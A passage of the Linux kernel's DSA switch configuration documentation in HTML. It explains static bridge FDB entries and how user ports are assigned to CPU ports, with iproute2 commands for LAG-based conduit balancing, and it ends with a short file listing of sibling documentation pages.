bridge<span class="w"> </span>fdb<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>swp0<span class="w"> </span><span class="m">00</span>:01:02:03:04:05<span class="w"> </span><span class="nb">local</span>
<span class="c1"># or shorthand, because the &#39;local&#39; flag is implicit if &#39;static&#39; is not</span>
<span class="c1"># specified, it also behaves the same as:</span>
bridge<span class="w"> </span>fdb<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>swp0<span class="w"> </span><span class="m">00</span>:01:02:03:04:05
</pre></div>
</div>
</div></blockquote>
<p>The last command is an incorrect way of adding a static bridge FDB entry to a
DSA switch using the bridge bypass operations, and works by mistake. Other
drivers will treat an FDB entry added by the same command as <code class="docutils literal notranslate"><span class="pre">local</span></code> and as
such, will not forward it, as opposed to DSA.</p>
<p>Between kernel v4.14 and v5.14, DSA has supported in parallel two modes of
adding a bridge FDB entry to the switch: the bridge bypass discussed above, as
well as a new mode using the <code class="docutils literal notranslate"><span class="pre">master</span></code> flag which installs FDB entries in the
software bridge too.</p>
<blockquote>
<div><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span>bridge<span class="w"> </span>fdb<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>swp0<span class="w"> </span><span class="m">00</span>:01:02:03:04:05<span class="w"> </span>master<span class="w"> </span>static
</pre></div>
</div>
</div></blockquote>
<p>Since kernel v5.14, DSA has gained stronger integration with the bridge’s
software FDB, and the support for its bridge bypass FDB implementation (using
the <code class="docutils literal notranslate"><span class="pre">self</span></code> flag) has been removed. This results in the following changes:</p>
<blockquote>
<div><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># This is the only valid way of adding an FDB entry that is supported,</span>
<span class="c1"># compatible with v4.14 kernels and later:</span>
bridge<span class="w"> </span>fdb<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>swp0<span class="w"> </span><span class="m">00</span>:01:02:03:04:05<span class="w"> </span>master<span class="w"> </span>static
<span class="c1"># This command is no longer buggy and the entry is properly treated as</span>
<span class="c1"># &#39;local&#39; instead of being forwarded:</span>
bridge<span class="w"> </span>fdb<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>swp0<span class="w"> </span><span class="m">00</span>:01:02:03:04:05
<span class="c1"># This command no longer installs a static FDB entry to hardware:</span>
bridge<span class="w"> </span>fdb<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>swp0<span class="w"> </span><span class="m">00</span>:01:02:03:04:05<span class="w"> </span>static
</pre></div>
</div>
</div></blockquote>
<p>Script writers are therefore encouraged to use the <code class="docutils literal notranslate"><span class="pre">master</span> <span class="pre">static</span></code> set of
flags when working with bridge FDB entries on DSA switch interfaces.</p>
</section>
<section id="affinity-of-user-ports-to-cpu-ports">
<h2>Affinity of user ports to CPU ports<a class="headerlink" href="#affinity-of-user-ports-to-cpu-ports" title="Link to this heading">¶</a></h2>
<p>Typically, DSA switches are attached to the host via a single Ethernet
interface, but in cases where the switch chip is discrete, the hardware design
may permit the use of 2 or more ports connected to the host, for an increase in
termination throughput.</p>
<p>DSA can make use of multiple CPU ports in two ways. First, it is possible to
statically assign the termination traffic associated with a certain user port
to be processed by a certain CPU port. This way, user space can implement
custom policies of static load balancing between user ports, by spreading the
affinities according to the available CPU ports.</p>
<p>Secondly, it is possible to perform load balancing between CPU ports on a per
packet basis, rather than statically assigning user ports to CPU ports.
This can be achieved by placing the DSA conduits under a LAG interface (bonding
or team). DSA monitors this operation and creates a mirror of this software LAG
on the CPU ports facing the physical DSA conduits that constitute the LAG slave
devices.</p>
<p>To make use of multiple CPU ports, the firmware (device tree) description of
the switch must mark all the links between CPU ports and their DSA conduits
using the <code class="docutils literal notranslate"><span class="pre">ethernet</span></code> reference/phandle. At startup, only a single CPU port
and DSA conduit will be used - the numerically first port from the firmware
description which has an <code class="docutils literal notranslate"><span class="pre">ethernet</span></code> property. It is up to the user to
configure the system for the switch to use other conduits.</p>
<p>DSA uses the <code class="docutils literal notranslate"><span class="pre">rtnl_link_ops</span></code> mechanism (with a “dsa” <code class="docutils literal notranslate"><span class="pre">kind</span></code>) to allow
changing the DSA conduit of a user port. The <code class="docutils literal notranslate"><span class="pre">IFLA_DSA_CONDUIT</span></code> u32 netlink
attribute contains the ifindex of the conduit device that handles each user
device. The DSA conduit must be a valid candidate based on firmware node
information, or a LAG interface which contains only slaves which are valid
candidates.</p>
<p>Using iproute2, the following manipulations are possible:</p>
<blockquote>
<div><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># See the DSA conduit in current use</span>
ip<span class="w"> </span>-d<span class="w"> </span>link<span class="w"> </span>show<span class="w"> </span>dev<span class="w"> </span>swp0
<span class="w">    </span><span class="o">(</span>...<span class="o">)</span>
<span class="w">    </span>dsa<span class="w"> </span>master<span class="w"> </span>eth0

<span class="c1"># Static CPU port distribution</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>swp0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>dsa<span class="w"> </span>master<span class="w"> </span>eth1
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>swp1<span class="w"> </span><span class="nb">type</span><span class="w"> </span>dsa<span class="w"> </span>master<span class="w"> </span>eth0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>swp2<span class="w"> </span><span class="nb">type</span><span class="w"> </span>dsa<span class="w"> </span>master<span class="w"> </span>eth1
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>swp3<span class="w"> </span><span class="nb">type</span><span class="w"> </span>dsa<span class="w"> </span>master<span class="w"> </span>eth0

<span class="c1"># CPU ports in LAG, using explicit assignment of the DSA conduit</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>bond0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bond<span class="w"> </span>mode<span class="w"> </span>balance-xor<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>bond0<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth1<span class="w"> </span>down<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth1<span class="w"> </span>master<span class="w"> </span>bond0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>swp0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>dsa<span class="w"> </span>master<span class="w"> </span>bond0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>swp1<span class="w"> </span><span class="nb">type</span><span class="w"> </span>dsa<span class="w"> </span>master<span class="w"> </span>bond0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>swp2<span class="w"> </span><span class="nb">type</span><span class="w"> </span>dsa<span class="w"> </span>master<span class="w"> </span>bond0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>swp3<span class="w"> </span><span class="nb">type</span><span class="w"> </span>dsa<span class="w"> </span>master<span class="w"> </span>bond0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>down<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>master<span class="w"> </span>bond0
ip<span class="w"> </span>-d<span class="w"> </span>link<span class="w"> </span>show<span class="w"> </span>dev<span class="w"> </span>swp0
<span class="w">    </span><span class="o">(</span>...<span class="o">)</span>
<span class="w">    </span>dsa<span class="w"> </span>master<span class="w"> </span>bond0

<span class="c1"># CPU ports in LAG, relying on implicit migration of the DSA conduit</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>bond0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bond<span class="w"> </span>mode<span class="w"> </span>balance-xor<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>bond0<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>down<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>master<span class="w"> </span>bond0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth1<span class="w"> </span>down<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth1<span class="w"> </span>master<span class="w"> </span>bond0
ip<span class="w"> </span>-d<span class="w"> </span>link<span class="w"> </span>show<span class="w"> </span>dev<span class="w"> </span>swp0
<span class="w">    </span><span class="o">(</span>...<span class="o">)</span>
<span class="w">    </span>dsa<span class="w"> </span>master<span class="w"> </span>bond0
</pre></div>
</div>
</div></blockquote>
<p>Notice that in the case of CPU ports under a LAG, the use of the
<code class="docutils literal notranslate"><span class="pre">IFLA_DSA_CONDUIT</span></code> netlink attribute is not strictly needed, but rather, DSA
reacts to the <code class="docutils literal notranslate"><span class="pre">IFLA_MASTER</span></code> attribute change of its present conduit (<code class="docutils literal notranslate"><span class="pre">eth0</span></code>)
and migrates all user ports to the new upper of <code class="docutils literal notranslate"><span class="pre">eth0</span></code>, <code class="docutils literal notranslate"><span class="pre">bond0</span></code>. Similarly,
when <code class="docutils literal notranslate"><span class="pre">bond0</span></code> is destroyed using <code class="docutils literal notranslate"><span class="pre">RTM_DELLINK</span></code>, DSA migrates the user ports
that were assigned to this interface to the first physical DSA conduit which is
eligible, based on the firmware description (it effectively reverts to the
startup configuration).</p>
<p>In a setup with more than 2 physical CPU ports, it is therefore possible to mix
static user to CPU port assignment with LAG between DSA conduits. It is not
possible to statically assign a user port towards a DSA conduit that has any
upper interfaces (this includes LAG devices - the conduit must always be the LAG
in this case).</p>
<p>Live changing of the DSA conduit (and thus CPU port) affinity of a user port is
permitted, in order to allow dynamic redistribution in response to traffic.</p>
<p>Physical DSA conduits are allowed to join and leave at any time a LAG interface
used as a DSA conduit; however, DSA will reject a LAG interface as a valid
candidate for being a DSA conduit unless it has at least one physical DSA conduit
as a slave device.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/networking/dsa/configuration.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
b53.html File 23.98 KB 0644
bcm_sf2.html File 15.42 KB 0644
configuration.html File 47.82 KB 0644
dsa.html File 89.74 KB 0644
index.html File 8.79 KB 0644
lan9303.html File 9.72 KB 0644
sja1105.html File 34.11 KB 0644
Filemanager